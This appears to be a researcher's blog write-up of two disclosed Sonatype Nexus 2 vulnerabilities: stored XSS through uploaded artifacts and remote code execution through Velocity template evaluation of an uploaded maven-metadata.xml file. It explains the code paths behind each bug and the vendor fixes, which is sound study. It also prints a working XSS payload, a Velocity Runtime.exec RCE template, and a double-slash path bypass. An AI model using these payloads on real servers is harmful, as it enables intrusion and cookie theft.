# *SOME WEB THINGs THAT I LEARNED (part 11)* #### My approach to GHSL-2024-075 and GHSL-2024-076. ##### These vulnerability are quite simple. Let's take a look. ## I. GHSL-2024-075_Stored XSS in Sonatype Nexus 2: ### 1. Overview: - This is quite a simple vulnerability. - It is caused because when a website returns the response, it doesn't have any protection mechanism, which caused it to execute the Javascript being passed in by the attacker whenever someone view the content of an artifact. ### 2. Exploitation: - First, we can create a repository to hold your artifacts in the maven repository, or you can create a new repository of your own by uploading a new **proxy** repository. - For what I did, I simply create a new artifact with the following code: ```xml <html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script> <info> <name> <value><![CDATA[<script>confirm(document.domain)</script>]]></value> </name> <description> <value>Hello</value> </description> <url> <value>http://google.com</value> </url> </info> </body> </html> ``` - After uploading, an authenticated user, for example, an admin. If so happened to view the content of the artifact, will trigger the XSS. Now an attacker can obviously leverage this simple by stealings the cookies of other user. ![image](https://hackmd.io/_uploads/HkH9Sk3v1e.png) ### 3. Fix: - This vulnerability occurs simply because there's no protection against execution of Javascript. - To fix this, in the next version, Nexus Repository Manager has added CSP in order to prevent from Javascript execution. ![image](https://hackmd.io/_uploads/HkVBFxnD1g.png) - Use the **Content-Security-Policy: sandbox;** header when serving artifact's content. This makes the resource treated as being from a special origin that always fails the same-origin policy (potentially preventing access to data storage/cookies and some JavaScript APIs). ## II. GHSL-2024-076_RCE in Velocity template evaluation: ### 1. Overview: - Abusing the feature of **Nexus Repository Manager**, the attacker can upload a file that will be treated as a template, which **Velocity** will evaluate and caused RCE. ### 2. Detail: - When uploading an artifact, Nexus will creates a folder and save the file into that seperated folder. For example, let's take a look at the *Release* repository: ![image](https://hackmd.io/_uploads/HyWqqQTvJx.png) - The server will create a folder like this: **_sonatype-work/storage/release/_**. Here, we can see that inside the folder release, contains the files of the artifacts and folder we created: ![image](https://hackmd.io/_uploads/r1BR2QpPJe.png) - Also, at the same time, Nexus also creates another subdirectory called *.nexus/attributes*. Running _ls -a_, we can see that subdir clearly. So for example, with the file and folders above, the route would be something like this: **_sonatype-work/storage/release/.nexus/attributes/_** ![image](https://hackmd.io/_uploads/SkBbj4TP1x.png) - In this folder, it is used to store the attributes of the artifacts we upload, such as creation date, last access date, SHA checksums etc: ![image](https://hackmd.io/_uploads/Sky7grTP1g.png) - Nexus will process the attributes of the file in this folder. Let's look at ```DefaultLSAttributeStorage``` class: - First, it declare the path, and reads the attributes from it. ![image](https://hackmd.io/_uploads/B1-Tx0k_Jg.png) ![image](https://hackmd.io/_uploads/BJ4H-0JdJe.png) - Then, we have the **doGetAttributes()** method. It will read attribute from the route using the **getAttributePath()** method above, then it will check the length of the data, which if empty, will throw an exception: ![image](https://hackmd.io/_uploads/SkX4tRy_kl.png) - It will then ```unmarshall``` the data (deserialized), which taken from the input stream and return it. ![image](https://hackmd.io/_uploads/Skz420yOJg.png) - We also have this feature. By setting the ```contentGenerator``` as ```velocity```, Nexus will treat a file as a Velocity template. - **```ContentGenerator```**: is an interface that defines how content should be generated dynamically for a repository item. ![image](https://hackmd.io/_uploads/BJgHKJxOyx.png) - **```VelocityContentGenerator```**: is an implementation of the ```ContentGenerator``` interface that uses the Apache Velocity engine to generate content dynamically based on templates. - The identifier is "velocity". This is returned by getGeneratorId(): ![image](https://hackmd.io/_uploads/HkMkpJl_Jg.png) - Adds in the Velocity engine, used to process the templates: ![image](https://hackmd.io/_uploads/Hy9B01guke.png) - Reads the content from the ```StorageFileItem``` variable, then uses the Velocity engine to evaluate the content as a template, with additional context from the item's metadata.![image](https://hackmd.io/_uploads/rJzgyxed1e.png) - About ```maven-metadata.xml```: ![image](https://hackmd.io/_uploads/S1fRmblukx.png) - As you can see, these files aren't **artifact**, that's why in the ```.nexus/attributes```, it isnt being created, that's why we can control the content of it. <THIS SECTION OF THE BLOG WE WILL RETURN LATER WILL BE USE FOR EXPLAINING WHAT NEXUS ATTRIBUTES DOES> ### 3. Exploitation: - First we upload an the ```maven-metadata.xml``` onto the server with the following content: ```java #set($engine="") #set($run=$engine.getClass().forName("java.lang.Runtime")) #set($runtime=$run.getRuntime()) #set($proc=$runtime.exec("id")) #set($null=$proc.waitFor()) #set($istr=$proc.getInputStream()) #set($chr=$engine.getClass().forName("java.lang.Character")) #set($output="") #set($string=$engine.getClass().forName("java.lang.String")) #foreach($i in [1..$istr.available()]) #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) #end $output ``` - We can see the file got created: ![image](https://hackmd.io/_uploads/S1Zf5H0Pkx.png) - From there, we next will upload the ```maven-metadata.xml``` file to the subdirectory **.nexus/attributes**. Here, it is restricted from accessing the internal folder, but i tried and we can bypass it by adding another / before the directory: ![image](https://hackmd.io/_uploads/r19EpHAwkx.png) - Access the ```maven-metadata.xml``` file we upload again, we get RCE: ![image](https://hackmd.io/_uploads/ryRdJ8Rvkl.png) ### 4. Fix: - Since the attacker allow to upload a ```maven-metadata.xml``` file onto the subdirectory of the system. In Nexus 3, a changed has been made now that it will check the content of the file, making sure its is an actual xml file. - Let's look at what they did: - **```MavenContentFacetImpl.java```**: this class handle the management of the maven repository. It provides methods for managing, validating, storing, and deleting assets and components related to Maven artifacts. It saves the content of file after validating it. ![image](https://hackmd.io/_uploads/H11V8cl_yl.png) ![image](https://hackmd.io/_uploads/SyOr85ed1l.png) - **```MavenMetadataContentValidator.java```**: this is where the ```validate()``` method comes from. It checks the content of the ```xml``` file.![image](https://hackmd.io/_uploads/r1SCMJW_yg.png) - Jumping into the **```readMetadata()```**, uses to process the metadata of the ```xml``` file. Using the ```MetadataXpp3Reader``` class ```read``` method. ![image](https://hackmd.io/_uploads/rkgdBJWd1g.png) - Follows the stream of the code, we can see it calls from ```MetadataXpp3Reader``` => ```ReaderFactory.newXmlReader``` => ```XmlStreamReader```: ![image](https://hackmd.io/_uploads/S1K3MEZ_1l.png) ![image](https://hackmd.io/_uploads/SylA74-d1g.png) ![image](https://hackmd.io/_uploads/SJ0S-BZukg.png) ![image](https://hackmd.io/_uploads/BJKIfBWdJx.png)